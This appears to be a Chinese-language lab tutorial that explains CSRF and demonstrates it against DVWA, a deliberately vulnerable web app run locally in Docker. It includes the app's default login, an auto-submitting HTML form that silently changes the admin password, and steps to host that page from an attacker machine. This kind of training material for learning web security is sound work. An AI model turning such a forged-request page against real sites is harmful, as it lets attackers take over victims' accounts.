🧨 什么是 CSRF?
CSRF(Cross-Site Request Forgery) 是一种攻击方式,诱导已登录的用户浏览器发送未授权请求,比如更改密码、转账等,而用户并未察觉。
攻击前提:
- 受害者已登录某网站,并保持登录状态(有 Cookie)。
- 攻击者诱导受害者访问一个恶意页面,该页面发出请求到受害者登录的站点。
- 服务端认为请求合法,因为带有受害者的 Cookie。
✅ DVWA 中的 CSRF 测试位置:
- 拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
- 打开 DVWA Web 界面:http://localhost:8080,用户名:admin,密码:password
- 登录后,点击左侧菜单 “CSRF”。
- 默认功能是 修改用户密码,就是我们的测试点。
🔥 第一步:构造 CSRF 攻击页面(HTML 文件)
查看修改密码页面的前端代码:
你可以用如下代码,保存为 csrf_attack.html:
<!DOCTYPE html>
<html>
<body>
<h3>😈 正在发起 CSRF 攻击…</h3>
<form action="http://localhost:8080/vulnerabilities/csrf/" method="GET">
<input type="hidden" name="password_new" value="hacked123" />
<input type="hidden" name="password_conf" value="hacked123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="点我也改密码" />
</form>
<script>
document.forms[0].submit(); // 自动提交
</script>
</body>
</html>
🔄 第二步:启动一个 HTTP 服务器(攻击服务器)
假设你用攻击者机器,运行:
python3 -m http.server 8082
然后在浏览器打开:
http://<攻击者IP>:8082/csrf_attack.html
如果你已登录 DVWA,访问该页面就会修改你的密码。
输入网址后回车结果:
✅ 第三步:验证密码是否被改了
回到 DVWA,尝试用新密码登录:
- 用户名:admin
- 密码:hacked123
🧱 防御思路(了解):
DVWA 高安全等级下会引入 CSRF Token 防护机制,攻击者无法伪造。